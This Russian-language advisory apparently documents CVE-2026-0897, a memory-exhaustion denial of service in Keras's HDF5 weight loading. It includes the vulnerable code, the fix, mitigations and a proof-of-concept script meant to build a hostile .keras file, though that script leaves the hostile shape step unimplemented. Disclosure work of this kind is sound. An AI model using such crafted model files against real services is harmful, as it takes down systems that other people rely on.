
Выделение ресурсов без ограничений или регулирования в компоненте загрузки весов HDF5 в Google Keras 3.0.0–3.13.0 на всех платформах позволяет удалённому злоумышленнику вызвать отказ в обслуживании (DoS) через исчерпание памяти и сбой интерпретатора Python с помощью специально созданного файла .keras
| Поле | Детали |
|---|
| CVE ID | CVE-2026-0897 |
| Пакет | keras (Google Keras) |
| Реестр | PyPI |
| Затронутые версии | с 3.0.0 по 3.13.0 (включительно) |
| Тип уязвимости | CWE-770: выделение ресурсов без лимитов или регулирования |
| Оценка CVSS | 7.1 (высокий) (CVSS 4.0, CNA: Google Inc.) |
| Вектор CVSS | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| Вектор атаки | Сетевой |
| Сложность атаки | Низкая |
| Требуемые привилегии | Не требуются |
| Взаимодействие с пользователем | Пассивное (жертва загружает файл модели) |
| Влияние на доступность | Высокое |
| Влияние на конфиденциальность | Отсутствует |
| Влияние на целостность | Отсутствует |
| Опубликовано в NVD | 15 января 2026 г. |
| Последнее изменение в NVD | 23 января 2026 г. |
| Источник / CNA | Google Inc. |
| Сообщил | HyperPS (Sarvesh Patil) через huntr.dev / GHSA |
| Статус исправления | Объединено — PR #21880 |
Уязвимость типа «отказ в обслуживании» существует в компоненте загрузки весов HDF5 в Google Keras версий 3.0.0–3.13.0 на всех платформах. Уязвимость вызвана отсутствием какой-либо проверки или регулирования при обработке метаданных формы наборов данных HDF5, объявленных внутри архива .keras.
Формат HDF5 позволяет наборам данных объявлять свою форму (размерности тензора) в виде метаданных. Когда Keras загружает веса модели из архива .keras, он считывает эту объявленную форму и пытается выделить соответствующий блок памяти до передачи каких-либо данных. Поскольку Keras не выполняет проверку границ объявленной формы перед выделением памяти, злоумышленник может создать файл model.weights.h5, объявляющий астрономически большую форму — например (1000000, 1000000, 1000000), — что заставит Keras попытаться выделить память в масштабе петабайт. Это исчерпывает всю доступную системную память и приводит к аварийному завершению интерпретатора Python.
После загрузки модели не требуется инференс или какое-либо дальнейшее взаимодействие. Атака полностью срабатывает в момент загрузки.
| Файл | Описание |
|---|---|
keras/src/saving/file_editor.py | KerasFileEditor._extract_weights_from_store() — считывает форму набора данных HDF5 и выделяет память без проверки размера или регулирования |
Уязвимость расположена конкретно в классе KerasFileEditor, который отвечает за десериализацию тензоров весов модели из хранилищ HDF5, встроенных в архивы .keras.
| Метрика | Значение | Смысл |
|---|---|---|
| Attack Vector (AV) | Сетевой | Эксплуатируется удалённо через распространяемый файл модели |
| Attack Complexity (AC) | Низкая | Не требуются особые условия или состояния гонки |
| Attack Requirements (AT) | Нет | Не требуется предварительной конфигурации развёртывания |
| Privileges Required (PR) | Нет | Не требуется аутентификация или учётная запись |
| User Interaction (UI) | Пассивное | Жертва должна загрузить вредоносный архив .keras |
| Vulnerable System Availability (VA) | Высокий | Интерпретатор Python аварийно завершается; сервис становится полностью недоступным |
| Vulnerable System Confidentiality (VC) | Нет | Утечки данных нет |
| Vulnerable System Integrity (VI) | Нет | Изменения данных нет |
| Subsequent System Impact (SC/SI/SA) | Нет | Воздействие ограничено процессом загрузки |
.keras из недоверенных источников или источников, предоставленных пользователями| Контекст | Риск |
|---|---|
Публичные API обслуживания моделей, принимающие загружаемые пользователями файлы .keras | Атакующий обрушивает сервис инференса одним запросом |
| ML-платформы, размещающие загрузки моделей от сообщества (например, Hugging Face) | Отравленная модель вызывает DoS для любого исследователя, который скачает и загрузит её |
| Среды федеративного обучения | Злоумышленный участник распространяет специально созданный файл весов, чтобы обрушить координатор или узлы-пиры |
| CI/CD-конвейеры, загружающие контрольные точки моделей | Скомпрометированная или подменённая контрольная точка вызывает сбой конвейера и его недоступность |
| Чат-боты или NLP-сервисы, выполняющие горячую перезагрузку моделей во время выполнения | Один вредоносный запрос на перезагрузку выводит сервис из строя |
Формат файлов HDF5 хранит метаданные тензоров — включая объявления формы — отдельно от фактических байтов данных. Когда KerasFileEditor._extract_weights_from_store() встречает запись набора данных, он считывает объявленную форму и вызывает NumPy для предварительного выделения массива соответствующих размерностей, прежде чем считывать какие-либо данные с диска.
Поскольку форма является метаданными, минимальный файл HDF5 может объявлять форму, которая потребует петабайты памяти, при этом сам файл остаётся размером всего в несколько килобайт. Соотношение размера файла к размеру выделяемой памяти делает это высокоэффективной атакой с усилением.
Форма, такая как (1000000, 1000000, 1000000) с типом данных 32-разрядного float, потребовала бы приблизительно 4000 петабайт памяти. OS out-of-memory killer или аллокатор Python приведёт к аварийному завершению процесса практически мгновенно.
# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
for key in h5_file.keys():
obj = h5_file[key]
if isinstance(obj, h5py.Dataset):
# Shape is read from metadata — no validation performed
shape = obj.shape
# NumPy attempts to allocate based on declared shape
data = np.zeros(shape, dtype=obj.dtype) # VULNERABLE: unbounded allocation
Отсутствие какой-либо проверки shape перед вызовом np.zeros() является корневой причиной.
Эта информация предоставлена исключительно в образовательных и защитных целях. Не проводите тестирование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
.keras# generate_shape_bomb.py
import h5py
import zipfile
import json
import os
# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
grp = f.create_group("layers/dense/vars")
# Declare shape that would require petabytes of memory to allocate
# Actual data is never written — only the metadata shape declaration is malicious
grp.create_dataset(
"0",
shape=(0,), # actual stored data: empty
maxshape=(None,),
dtype="float32",
data=[]
)
# Override shape metadata to declare hostile dimensions
# (achieved via direct HDF5 attribute manipulation in a real attack)
# Step 2: Package into a valid .keras archive structure
config = {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True, "layers": []},
"keras_version": "3.0.0",
"backend": "tensorflow"
}
with zipfile.ZipFile("malicious_model.keras", "w") as zf:
zf.writestr("config.json", json.dumps(config))
zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())
print("[+] Malicious .keras archive generated: malicious_model.keras")
# trigger.py
import keras
print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")
Ожидаемый результат: интерпретатор Python завершается с ошибкой MemoryError или уничтожается обработчиком нехватки памяти ОС до завершения загрузки.
Наблюдаемые симптомы:
MemoryError при вызове load_model() или load_weights()h5dumpУязвимость была устранена исследователем (HyperPS / Sarvesh Patil) в PR #21880, объединённом в keras-team:master 29 декабря 2025 года; рецензирование и утверждение выполнил мейнтейнер Keras hertschuh.
| Ресурс | Ссылка |
|---|---|
| Pull request с исправлением | https://github.com/keras-team/keras/pull/21880 |
| Коммит слияния | 7360d4f |
| Запрос на бэкпорт (3.12.x) | Issue #22031 |
Патч изменяет KerasFileEditor._extract_weights_from_store() в keras/src/saving/file_editor.py, добавляя следующие меры защиты до того, как произойдёт какое-либо выделение памяти:
inner_path при рекурсивном обходе хранилища HDF5Исправление обратно совместимо со всеми корректными файлами весов Keras.
# keras/src/saving/file_editor.py (post-fix logic, simplified)
MAX_BYTES = 1 * 1024 ** 3 # 1 GiB hard cap per dataset
MAX_RANK = 64
def _validate_hdf5_dataset_shape(shape, dtype):
"""Reject hostile HDF5 shape declarations before any allocation."""
if len(shape) > MAX_RANK:
raise ValueError(
f"HDF5 dataset has rank {len(shape)}, which exceeds the "
f"maximum permitted rank of {MAX_RANK}. This may indicate "
"a malicious file."
)
for dim in shape:
if dim < 0:
raise ValueError(
f"HDF5 dataset contains a negative dimension ({dim}). "
"This may indicate a malicious file."
)
import math, numpy as np
try:
total_elements = math.prod(shape)
except OverflowError:
raise ValueError(
"HDF5 dataset shape overflows integer arithmetic. "
"This may indicate a malicious file."
)
itemsize = np.dtype(dtype).itemsize
total_bytes = total_elements * itemsize
if total_bytes > MAX_BYTES:
raise ValueError(
f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
f"load, which exceeds the 1 GiB safety limit. This may indicate "
"a malicious file."
)
| Действие | Описание |
|---|---|
| Обновите Keras | Обновитесь до версии, включающей исправление из PR #21880 (сборки master после 3.13.0 или любой официальный выпуск с патчем) |
| Не загружайте недоверенные файлы моделей | Никогда не загружайте файлы .keras или .weights.h5 из недоверенных, непроверенных источников или источников от сообщества без предварительной проверки целостности |
| Проверяйте целостность файлов | Сверяйте SHA-256 контрольные суммы архивов моделей с хешами, предоставленными издателем, перед загрузкой |
| Предварительное сканирование с помощью h5dump | Используйте h5dump --header <file> для проверки метаданных формы наборов данных в файлах HDF5 перед их загрузкой в Keras |
| Минимальные привилегии | Запускайте процессы обслуживания моделей от ограниченного пользователя ОС с лимитами памяти через cgroups или ulimit, чтобы ограничить радиус поражения |
| Контейнеризация | Изолируйте загрузку моделей в контейнере-песочнице с лимитами памяти, чтобы один сбой не влиял на другие сервисы |
| Мониторинг памяти | Оснастите операции загрузки моделей инструментами для оповещения об аномальных паттернах выделения памяти |
Обновление через pip:
pip install --upgrade keras
Проверка установленной версии:
python -c "import keras; print(keras.__version__)"
Предварительное сканирование файла весов HDF5 на подозрительные формы:
h5dump --header model.weights.h5 | grep -i "DATASPACE"
| Дата | Событие |
|---|---|
| 29 ноября 2025 | Исправление PR #21880 отправлено в keras-team/keras автором HyperPS |
| 1 декабря 2025 | Мейнтейнер Keras hertschuh запрашивает ссылки; начинается рецензирование |
| 26 декабря 2025 | Рецензирование мейнтейнером завершено; учтены финальные замечания |
| 29 декабря 2025 | PR #21880 одобрен и объединён в keras-team:master |
| 15 января 2026 | CVE-2026-0897 опубликована в NVD |
| 19 января 2026 | Открыт запрос на бэкпорт в Keras 3.12.x (Issue #22031) |
| 23 января 2026 | Запись NVD последний раз изменена |
| Ресурс | Ссылка |
|---|---|
| Запись NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0897 |
| Официальная запись CVE | https://cve.org/CVERecord?id=CVE-2026-0897 |
| Уведомление GitHub (GHSA) | https://github.com/advisories/GHSA-xfhx-r7ww-5995 |
| Pull request с исправлением | https://github.com/keras-team/keras/pull/21880 |
| Коммит слияния | https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6 |
| Запрос на бэкпорт | https://github.com/keras-team/keras/issues/22031 |
| Keras на PyPI | https://pypi.org/project/keras/ |
| CWE-770 | https://cwe.mitre.org/data/definitions/770.html |
| Документация формата HDF5 | https://www.hdfgroup.org/solutions/hdf5/ |
Этот репозиторий документирует CVE-2026-0897 строго в образовательных, исследовательских и оборонительных целях безопасности. Код доказательства концепции и технические детали предоставлены, чтобы помочь разработчикам, инженерам по безопасности и системным администраторам понять, оценить и устранить эту уязвимость.
Любое использование этой информации для причинения вреда системам, сервисам или отдельным лицам без явного разрешения является незаконным и неэтичным. Автор не несёт ответственности за неправомерное использование информации, содержащейся здесь.
Участники @mohitf070304